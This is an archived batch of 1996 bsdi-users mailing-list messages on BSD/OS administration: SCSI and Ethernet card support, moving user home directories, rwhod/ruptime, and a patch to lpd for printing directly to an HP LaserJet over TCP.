AHA-2940AU > SCSI controller. We are unable to get BSDI to recognize it. I can not find > in the KERNEL where we define this adapter, yet the lizard book seems to > imply that it is supported. When we boot, there are no hardware conflicts > mentioned, and the adapter is NOT displayed as found. > > Questions: > > 1. Is the Adaptec AHA-2940AU actually supported? Yes. We have customers running perfectly well on these controllers with no change to the kernel at all. > > 2. If supported, does anyone know what changes need to be made to > the KERNEL (or other) in order to get BSDI to see it? I think you have some kind of harware conflict or maybe the card is dead ! > ----------------------------------------------------------------------- Peter Mountain | peterm@canopus.estinc.com Director, Business Development | Visit our Tape Backup Web page: Enhanced Software Technologies, Inc. | http://www.estinc.com/ ----------------------------------------------------------------------- From VM Tue Nov 19 20:19:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["522" "Tue" "19" "November" "1996" "14:58:00" "EST" "Richard Noel" "richard.noel@wang.com" nil "22" "RE: quote files" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA26968 for ; Tue, 19 Nov 1996 15:00:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA11580 for bsdi-users-outgoing; Tue, 19 Nov 1996 14:55:35 -0500 (EST) Message-ID: <329211C8@SMTPGTWY.WANG.COM> X-Mailer: Microsoft Mail V3.0 Precedence: bulk From: "Noel, Richard" Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@gateway.com'" Subject: RE: quote files Date: Tue, 19 Nov 96 14:58:00 EST You'll find the following in the .login of each user account: if ( -x /usr/games/fortune ) /usr/games/fortune Richard noel@wang.com ---------- From: owner-bsdi-users[SMTP:owner-bsdi-users@lists.gateway.com] Sent: Sunday, October 20, 1996 12:21 PM To: bsdi-users Subject: quote files After the motd file is displayed, what is the name of the file that is used to display the quotes. I have done a man quotes man motd, man login and still am unable to locate a reference to it. Yea I know, its simple. Thanks. From VM Tue Nov 19 20:19:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1236" "Tue" "19" "November" "1996" "15:16:52" "-0500" "Bill Hamel" "bill@hamel.net" nil "51" "Re: SCSI Adapter Not seen by BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA28606 for ; Tue, 19 Nov 1996 16:01:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA11764 for bsdi-users-outgoing; Tue, 19 Nov 1996 15:58:55 -0500 (EST) Message-Id: <3.0b28.32.19961119151651.006c01f8@chesco.com> X-Sender: billh@chesco.com X-Mailer: Windows Eudora Pro Version 3.0b28 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Hamel Sender: owner-bsdi-users@lists.gateway.com To: jerry , bsdi-users@BSDI.COM Subject: Re: SCSI Adapter Not seen by BSDI Date: Tue, 19 Nov 1996 15:16:52 -0500 Jerry, Page 27 of my 2.1 manual show this SCSI Adaptec aha: Models 1540B 1542B 1540C 1542C 1540CF 1542CF 1542CP aic: Models 2740, 2740W, 2742, 2742W, 2940, 2940W; 2740AT, 2742AT (one channel only) I couldn;t see the AHA-2940AU in these docs anyway. hth -bh At 01:15 PM 11/19/96 -0600, jerry wrote: >We are running BSDI 2.1 and are trying to install an Adaptec AHA-2940AU >SCSI controller. We are unable to get BSDI to recognize it. I can not find >in the KERNEL where we define this adapter, yet the lizard book seems to >imply that it is supported. When we boot, there are no hardware conflicts >mentioned, and the adapter is NOT displayed as found. > > Questions: > > 1. Is the Adaptec AHA-2940AU actually supported? > > 2. If supported, does anyone know what changes need to be made to > the KERNEL (or other) in order to get BSDI to see it? > >Thanks! > >Jerry > >+-----------------------------------------+ >| Jerry Callahan - jerry@iconnect.net | >| I Connection, Inc. | >| Lake County/Waukegan IL's connection to | >| the Internet! | >| 847/662-0877 (Voice) 847/662-0325 (FAX) | >+-----------------------------------------+ > > > From VM Tue Nov 19 20:19:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["135" "Tue" "19" "November" "1996" "15:19:50" "EST" "Daniel R. Ehrlich" "ehrlich@cse.psu.edu" nil "10" "SMC Ether EZ 10BT ISA Ethernet Adapter" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA28612 for ; Tue, 19 Nov 1996 16:02:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA11746 for bsdi-users-outgoing; Tue, 19 Nov 1996 15:58:24 -0500 (EST) Message-Id: <199611192020.PAA10236@cse.psu.edu> X-uri: X-Work-Address: Department of Computer Science and Engineering 121A Pond Laboratory The Pennsylvania State University University Park, PA 16802 X-Work-Phone: +1 814 863 1142 (Voice) +1 814 865 3176 (FAX) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Daniel R Ehrlich Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: SMC Ether EZ 10BT ISA Ethernet Adapter Date: Tue, 19 Nov 1996 15:19:50 EST Hello all, Can someone tell me if there is a driver for the SMC Ether EZ 10BT ISA ethernet adapter available? Thanks, Dan Ehrlich From VM Tue Nov 19 20:19:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["323" "Tue" "19" "November" "1996" "07:02:00" "-0700" "Edwin C. Philips" "edwin@tcs.tcsourceone.com" nil "11" "moving users" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA28609 for ; Tue, 19 Nov 1996 16:02:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA11766 for bsdi-users-outgoing; Tue, 19 Nov 1996 15:58:58 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Edwin C. Philips" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: moving users Date: Tue, 19 Nov 1996 07:02:00 -0700 (MST) Is there a graceful way to move a user to a different location? example, move user bob from /usr/home/bob /usr/home/b/bob I tried moving the directory, chowning it back to bob, and changing the passwd reference, but that alone doesn't seem to be enough. What else am I missing? Edwin C. Philips edwin@tcsourceone.com From VM Tue Nov 19 20:19:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["165" "" "19" "November" "1996" "19:00:33" "GMT" "halandri@admin.con2.com" "halandri@admin.con2.com" nil "5" "pico & Radius" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA28886 for ; Tue, 19 Nov 1996 16:11:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA11879 for bsdi-users-outgoing; Tue, 19 Nov 1996 16:10:53 -0500 (EST) Path: usenet Newsgroups: info.bsdi.users Organization: CONNECT2 Lines: 5 Message-ID: <56t04h$fjv@news.con2.com> Reply-To: halandri@con2.com NNTP-Posting-Host: spiro.con2.com Mime-Version: 1.0 Content-Type: Text/Plain; charset=US-ASCII X-Newsreader: WinVN 0.99.6 Precedence: bulk From: halandri@admin.con2.com (spiros) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: pico & Radius Date: 19 Nov 1996 19:00:33 GMT When I pico the users file which the Radius uses for authorisation that would "block" users at the very time to access the server? I would appreciate any reply ? From VM Tue Nov 19 20:19:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["417" "Tue" "19" "November" "1996" "13:28:03" "-0800" "David A. Lee" "dave@calldei.com" nil "16" "Re: samba + WfWG3.11" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA29432 for ; Tue, 19 Nov 1996 16:29:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA11927 for bsdi-users-outgoing; Tue, 19 Nov 1996 16:28:36 -0500 (EST) Message-Id: <199611192128.NAA21836@dei.calldei.com> In-Reply-To: <199611191925.LAA27582@webb-home.chelmsford.telebit.com> from "Bill Webb" at Nov 19, 96 11:25:36 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "David A. Lee" Sender: owner-bsdi-users@lists.gateway.com To: webb@webb-home.chelmsford.telebit.com (Bill Webb) Cc: cat@uunet.ca, bsdi-users@BSDI.COM, steve@prd.co.uk Subject: Re: samba + WfWG3.11 Date: Tue, 19 Nov 1996 13:28:03 -0800 (PST) Does anyone have any comparisons between using samba (which I just heard about from this list!) and using NFS . I am currently running Hummingbird's NFS client on Windows95 and NT and it works very well with bsdi ... Does samba have similar (or better!?!) throughput as BSDI ? Does it handle long case sensitive filenames ?. Does it handle 32 bit locking ? (Aka Windows locking?) -David Lee dave@calldei.com From VM Tue Nov 19 20:19:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1256" "Tue" "19" "November" "1996" "11:41:23" "-0500" "Jason Lixfeld" "jlixfeld@idirect.com" nil "38" "ruptime" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA29993 for ; Tue, 19 Nov 1996 16:47:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA11996 for bsdi-users-outgoing; Tue, 19 Nov 1996 16:42:17 -0500 (EST) X-Sender: jlixfeld@www.familyrealty.com In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jason Lixfeld Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ruptime Date: Tue, 19 Nov 1996 11:41:23 -0500 (EST) I have a second hand BSD machine that I am using as a workstation. It used to be (still is) a web server for one of our clients. I would like to setup ruptime so I can keep track of the servers/systems on the network so I know what's going on. I'm just wondering if anyone can give me some assistance on setting it up. In /var/rwho there is a list of files, I know. I know what the files are and what they do. My only question is how do I create the files? man ruptime and all it's man pointers do not tell me how to create the files. Any assistance anyone can offer would be greatly appreciated. BTW: On the topic of ruptime, I am interested in setting up a script of somesort that will list all servers configured for ruptime, as well as automatically update it every 5 or so seconds. I will be running this probably in X, so if anyone knows anything about tcsh scripting and could help me out, I'd appreciate it. Thanks in advance... Regards, Jason A. Lixfeld -=- IDBS Administration System Administrator Client Services Representative Systems Liason -=- Internet Direct o/a ComputerLink Online Inc. 5415 Dundas Street West Suite 301 Etobicoke, ON M9B 1B5 CANADA [416] 233.7150 {V} [416] 233.6970 {F} -=- carrera@idirect.com From VM Tue Nov 19 20:19:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["839" "Tue" "19" "November" "1996" "13:35:13" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "21" "Re: 21140-AC PASS 2.0?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA00388 for ; Tue, 19 Nov 1996 16:55:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA11976 for bsdi-users-outgoing; Tue, 19 Nov 1996 16:40:32 -0500 (EST) Message-Id: <199611192135.NAA27863@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, root@ns2.clever.net Cc: polk@BSDI.COM Subject: Re: 21140-AC PASS 2.0? Date: Tue, 19 Nov 1996 13:35:13 -0800 (PST) > Is it me, or do all the new d-links, smc's, kingstons with the pass 2.0 > AC chipset just not work with bsdi/freebsd? All patches up to date. This > might be something bsdi needs to address quickly, as the availability of > the older cards is dwindling.. > If you want to stock up on the older SMC Ultra coax cards, you might want to checkout: http://www.onsale.com/category/inv/00020632.htm I just recently picked up two boxes of 6 cards each for $29 + shipping per box. Thats about $6/card which is pretty cheap by any standard. I've been a customer of onsale for about a month now and am pretty happy with the stuff I've gotten from them. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 19 20:19:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["338" "Tue" "19" "November" "1996" "08:05:38" "-0700" "Edwin C. Philips" "edwin@tcs.tcsourceone.com" nil "16" "setting a machine to represent the domain" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA00669 for ; Tue, 19 Nov 1996 17:07:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA12099 for bsdi-users-outgoing; Tue, 19 Nov 1996 17:00:42 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Edwin C. Philips" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: setting a machine to represent the domain Date: Tue, 19 Nov 1996 08:05:38 -0700 (MST) What is the procedure for setting a specific host to represent the domain so telneting to domain.com or mailing to person@domain.com will work, instead of using host.domain.com and person@host.domain.com I am assuming it is just a config_dns entry, but I'm not sure how to enter it. Thanks Edwin C. Philips edwin@tcsourceone.com From VM Tue Nov 19 20:19:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["280" "Tue" "19" "November" "1996" "08:30:10" "-0700" "Edwin C. Philips" "edwin@tcs.tcsourceone.com" nil "14" "Re: moving users" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA00959 for ; Tue, 19 Nov 1996 17:22:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA12178 for bsdi-users-outgoing; Tue, 19 Nov 1996 17:25:24 -0500 (EST) In-Reply-To: <199611192213.OAA27968@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Edwin C. Philips" Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM Subject: Re: moving users Date: Tue, 19 Nov 1996 08:30:10 -0700 (MST) > You did change the passwd entry via "vipw" or otherwise rebuild the database > didn't you? *Stamps the word 'Moron' on forehead* no, I did not use vipw. yes, I am an idiot. Thanks, it is working much better now. *sheepish grin* Edwin C. Philips edwin@tcs.tcsourceone.com From VM Tue Nov 19 20:19:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1245" "Tue" "19" "November" "1996" "14:13:24" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "38" "Re: moving users" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA01231 for ; Tue, 19 Nov 1996 17:31:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA12130 for bsdi-users-outgoing; Tue, 19 Nov 1996 17:18:38 -0500 (EST) Message-Id: <199611192213.OAA27968@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, edwin@tcs.tcsourceone.com Subject: Re: moving users Date: Tue, 19 Nov 1996 14:13:24 -0800 (PST) > Is there a graceful way to move a user to a different location? > example, move user bob from /usr/home/bob /usr/home/b/bob > > I tried moving the directory, chowning it back to bob, and changing the > passwd reference, but that alone doesn't seem to be enough. What else am > I missing? > That should be enough unless the user as absolute symbolic links, but most user won't, and it probably wouldn't prevent them from logging in. How do you know that it didn't work? What are the symptoms? Note that if the files are on the same filesystem, you could have done: mkdir /usr/home/b mv /usr/home/bob /usr/home/b/bob If not, you should use tar or pax to copy the files to avoid changing the ownership or modification dates. You did change the passwd entry via "vipw" or otherwise rebuild the database didn't you? If you just editted the master passwd file by hand then the system won't have built the database files and that would account for it. I'd suggest doing: finger bob ls -lagd ~bob and see if the updated information is reflected. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 19 20:19:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["308" "Tue" "19" "November" "1996" "17:30:01" "-0500" "Steven Bellovin" "smb@research.att.com" nil "6" "Re: Networked HP LaserJet 5m" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA01509 for ; Tue, 19 Nov 1996 17:40:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA12197 for bsdi-users-outgoing; Tue, 19 Nov 1996 17:33:56 -0500 (EST) Message-Id: <199611192230.RAA22282@raptor.research.att.com> Precedence: bulk From: Steven Bellovin Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Networked HP LaserJet 5m Date: Tue, 19 Nov 1996 17:30:01 -0500 I use one with no trouble, over the Ethernet -- it supports the lpd protocol. The only trick is that I have to have two print queues, one for text and one for Postscript. I'd have liked to do automatic conversion, but the print spooler doesn't run any filters on jobs it's handing off to another machine. From VM Tue Nov 19 20:19:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1714" "Tue" "19" "November" "1996" "14:52:24" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "35" "Re: ruptime" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA02577 for ; Tue, 19 Nov 1996 18:16:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA12303 for bsdi-users-outgoing; Tue, 19 Nov 1996 17:57:48 -0500 (EST) Message-Id: <199611192252.OAA28063@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, jlixfeld@idirect.com Subject: Re: ruptime Date: Tue, 19 Nov 1996 14:52:24 -0800 (PST) > > I have a second hand BSD machine that I am using as a workstation. It > used to be (still is) a web server for one of our clients. I would like to > setup ruptime so I can keep track of the servers/systems on the network > so I know what's going on. I'm just wondering if anyone can give me some > assistance on setting it up. In /var/rwho there is a list of files, I > know. I know what the files are and what they do. My only question is > how do I create the files? man ruptime and all it's man pointers do not > tell me how to create the files. Any assistance anyone can offer would > be greatly appreciated. The files are created by the "rwhod" daemon. Its usually commented out in /etc/rc because it generates broadcasts every 30 seconds for each machine its running on. This causes a lot of broadcasts on networks with hundreds of machines. Nowadays you can use multicast to avoid that problem. > > BTW: On the topic of ruptime, I am interested in setting up a script of > somesort that will list all servers configured for ruptime, as well as > automatically update it every 5 or so seconds. I will be running this > probably in X, so if anyone knows anything about tcsh scripting and could > help me out, I'd appreciate it. > Actually, you probably want to look into tcl/tk/wish which can be used to generate X applications with graphics that show the load average etc. Note that running it every 5 seconds is overkill as the rwhod daemon only sends out packets every 30 seconds or so. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 19 20:19:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["466" "Tue" "19" "November" "1996" "18:10:01" "-0500" "Brian J. Fanning" "bfanning@i-kinetics.com" nil "20" "Installing a second ethernet card" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA02582 for ; Tue, 19 Nov 1996 18:19:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA12361 for bsdi-users-outgoing; Tue, 19 Nov 1996 18:14:43 -0500 (EST) Message-Id: <01BBD644.E26969E0@mudshark.i-kinetics.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Precedence: bulk From: "Brian J. Fanning" Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@lists.gateway.com'" Subject: Installing a second ethernet card Date: Tue, 19 Nov 1996 18:10:01 -0500 I have 2 questions 1. I have installed 2 3Com 3C509 cards in a P90 machine. The kernel = "sees" both cards at bootup but I can only get 1 to work. Both cards report UP when using = ifconfig, whoever, only one card links to the hub. Please point me = in the right direction. 2. What's the scoop with the 3Com 3C595 PCI cards? Do they work? I get = the invalid revision error message (Using rev d cards). Thanks for any help..... Brian Fanning From VM Tue Nov 19 20:19:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["502" "Tue" "19" "November" "1996" "15:45:56" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "19" "Re: moving users" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA03388 for ; Tue, 19 Nov 1996 18:50:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA12453 for bsdi-users-outgoing; Tue, 19 Nov 1996 18:46:15 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: "Edwin C. Philips" cc: bsdi-users@BSDI.COM Subject: Re: moving users Date: Tue, 19 Nov 1996 15:45:56 -0800 (PST) On Tue, 19 Nov 1996, Edwin C. Philips wrote: > > Is there a graceful way to move a user to a different location? > example, move user bob from /usr/home/bob /usr/home/b/bob > > I tried moving the directory, chowning it back to bob, and changing the > passwd reference, but that alone doesn't seem to be enough. What else am > I missing? First, you should make sure the new dir exists, then do chsh username and edit the home dir field. Then make sure the dir permissions are correct. Amy :) From VM Tue Nov 19 20:19:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["6124" "Tue" "19" "November" "1996" "15:52:00" "-0800" "Paul A. Vixie" "paul@vix.com" nil "241" "Re: Networked HP LaserJet 5m" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA03566 for ; Tue, 19 Nov 1996 18:56:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA12470 for bsdi-users-outgoing; Tue, 19 Nov 1996 18:52:13 -0500 (EST) X-btw: vix.com is also gw.home.vix.com and vixie.sf.ca.us Organization: Vixie Enterprises Message-ID: References: NNTP-Posting-Host: wisdom.home.vix.com In-reply-to: toddb@globalserve.net's message of 19 Nov 1996 09:28:02 -0800 Xref: vixie local.mail.bsdi.users:29949 Precedence: bulk From: paul@vix.com (Paul A Vixie) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Networked HP LaserJet 5m Date: Tue, 19 Nov 1996 15:52:00 -0800 (PST) You can speak LPD to this printer but I advise against it. LPD expects the server (the printer in this case) to be able to multiprocess and spool -- thus the backoff/retry algorythm built into your UNIX LPD was designed with the idea that an LPD neighbor who doesn't answer is probably down hard, not merely "busy printing some other job." You need the 4.4BSD-Lite-2 version of lpd to be able to speak non-LPD TCP directly to a high reserved port on the printer. A patch for BSD/OS 2.1's lpd is below; my /etc/printcap file looks like: lp|HP4M+:\ :lp=9100@lj4:sh:sb:sf:rw:mx#0:\ :sd=/var/spool/lpd:lf=/var/log/lpd-errs:af=/dev/null:\ :if=/usr/contrib/lib/lprps/psif:\ :of=/usr/contrib/lib/lprps/psof:\ :df=/usr/libexec/lpr/dvi2ps-filter: ...where "lj4" is the DNS name of my printer. *** printjob.c.BSDI Mon Dec 11 09:21:31 1995 --- printjob.c Sat Sep 7 08:25:38 1996 *************** *** 58,61 **** --- 58,64 ---- #include #include + #include + + #include #include *************** *** 69,72 **** --- 72,77 ---- #include #include + #include + #include "lp.h" #include "lp.local.h" *************** *** 801,805 **** if (lstat(file, &stb) < 0 || (f = open(file, O_RDONLY)) < 0) ! return(ERROR); /* * Check to see if data file is a symbolic link. If so, it should --- 806,810 ---- if (lstat(file, &stb) < 0 || (f = open(file, O_RDONLY)) < 0) ! return (ERROR); /* * Check to see if data file is a symbolic link. If so, it should *************** *** 809,813 **** if ((stb.st_mode & S_IFMT) == S_IFLNK && fstat(f, &stb) == 0 && (stb.st_dev != fdev || stb.st_ino != fino)) ! return(ACCESS); (void) sprintf(buf, "%c%qd %s\n", type, stb.st_size, file); amt = strlen(buf); --- 814,818 ---- if ((stb.st_mode & S_IFMT) == S_IFLNK && fstat(f, &stb) == 0 && (stb.st_dev != fdev || stb.st_ino != fino)) ! return (ACCESS); (void) sprintf(buf, "%c%qd %s\n", type, stb.st_size, file); amt = strlen(buf); *************** *** 816,820 **** (resp = response()) < 0 || resp == '\1') { (void) close(f); ! return(REPRINT); } else if (resp == '\0') break; --- 821,825 ---- (resp = response()) < 0 || resp == '\1') { (void) close(f); ! return (REPRINT); } else if (resp == '\0') break; *************** *** 837,847 **** if (write(pfd, buf, amt) != amt) { (void) close(f); ! return(REPRINT); } } - - - - (void) close(f); if (sizerr) { --- 842,848 ---- if (write(pfd, buf, amt) != amt) { (void) close(f); ! return (REPRINT); } } (void) close(f); if (sizerr) { *************** *** 849,857 **** /* tell recvjob to ignore this file */ (void) write(pfd, "\1", 1); ! return(ERROR); } if (write(pfd, "", 1) != 1 || response()) ! return(REPRINT); ! return(OK); } --- 850,858 ---- /* tell recvjob to ignore this file */ (void) write(pfd, "\1", 1); ! return (ERROR); } if (write(pfd, "", 1) != 1 || response()) ! return (REPRINT); ! return (OK); } *************** *** 868,874 **** if (read(pfd, &resp, 1) != 1) { syslog(LOG_INFO, "%s: lost connection", printer); ! return(-1); } ! return(resp); } --- 869,875 ---- if (read(pfd, &resp, 1) != 1) { syslog(LOG_INFO, "%s: lost connection", printer); ! return (-1); } ! return (resp); } *************** *** 1200,1225 **** register int i, n; int resp; if (!sendtorem && *LP) { ! for (i = 1; ; i = i < 32 ? i << 1 : i) { ! pfd = open(LP, (RW ? O_RDWR : O_WRONLY) | ! (HW ? O_NONBLOCK : 0)); ! if (pfd >= 0) ! break; ! if (errno == ENOENT) { ! syslog(LOG_ERR, "%s: %m", LP); exit(1); } ! if (i == 1) ! pstatus("waiting for %s to become ready (offline ?)", printer); ! sleep(i); ! } ! if (HW) { ! /* on hardwired line set clocal and clear O_NONBLOCK */ ! setterm(pfd, TCSANOW, "clocal", (char *)NULL); ! fcntl(pfd, F_SETFL, 0); } - if (isatty(pfd)) - setty(); pstatus("%s is ready and printing", printer); } else if (RM != NULL) { --- 1201,1268 ---- register int i, n; int resp; + char *at; if (!sendtorem && *LP) { ! if ((at = strchr(LP, '@')) != NULL) { ! char savech; ! struct servent *sp; ! struct hostent *hp; ! struct sockaddr_in sin; ! ! savech = *at; ! *at = '\0'; ! if ((sp = getservbyname(LP, "tcp")) != NULL) { ! sin.sin_port = sp->s_port; ! } else if (isdigit(*LP)) { ! sin.sin_port = htons(atoi(LP)); ! } else { ! syslog(LOG_ERR, "%s: bad service spec", LP); exit(1); } ! *at = savech; ! if (inet_aton(at+1, &sin.sin_addr)) ! NULL; ! else if ((hp = gethostbyname(at+1)) != NULL) ! sin.sin_addr.s_addr = *(u_long *)hp->h_addr; ! else { ! syslog(LOG_ERR, "%s: bad host spec", at+1); ! exit(1); ! } ! if ((pfd = socket(AF_INET, SOCK_STREAM, PF_UNSPEC)) < 0){ ! syslog(LOG_ERR, "socket: %m"); ! exit(1); ! } ! sin.sin_len = sizeof sin; ! sin.sin_family = AF_INET; ! if (connect(pfd, (struct sockaddr*)&sin, sizeof sin) <0){ ! syslog(LOG_ERR, "connect: %m"); ! exit(1); ! } ! } else { ! for (i = 1; ; i = i < 32 ? i << 1 : i) { ! pfd = open(LP, (RW ? O_RDWR : O_WRONLY) | ! (HW ? O_NONBLOCK : 0)); ! if (pfd >= 0) ! break; ! if (errno == ENOENT) { ! syslog(LOG_ERR, "%s: %m", LP); ! exit(1); ! } ! if (i == 1) ! pstatus("waiting for %s to become ready (offline ?)", ! printer); ! sleep(i); ! } ! if (HW) { ! /* ! * On hardwired line set clocal ! * and clear O_NONBLOCK ! */ ! setterm(pfd, TCSANOW, "clocal", (char *)NULL); ! fcntl(pfd, F_SETFL, 0); ! } ! if (isatty(pfd)) ! setty(); } pstatus("%s is ready and printing", printer); } else if (RM != NULL) { -- Paul Vixie La Honda, CA "Illegitimibus non carborundum." pacbell!vixie!paul From VM Tue Nov 19 20:19:44 1996 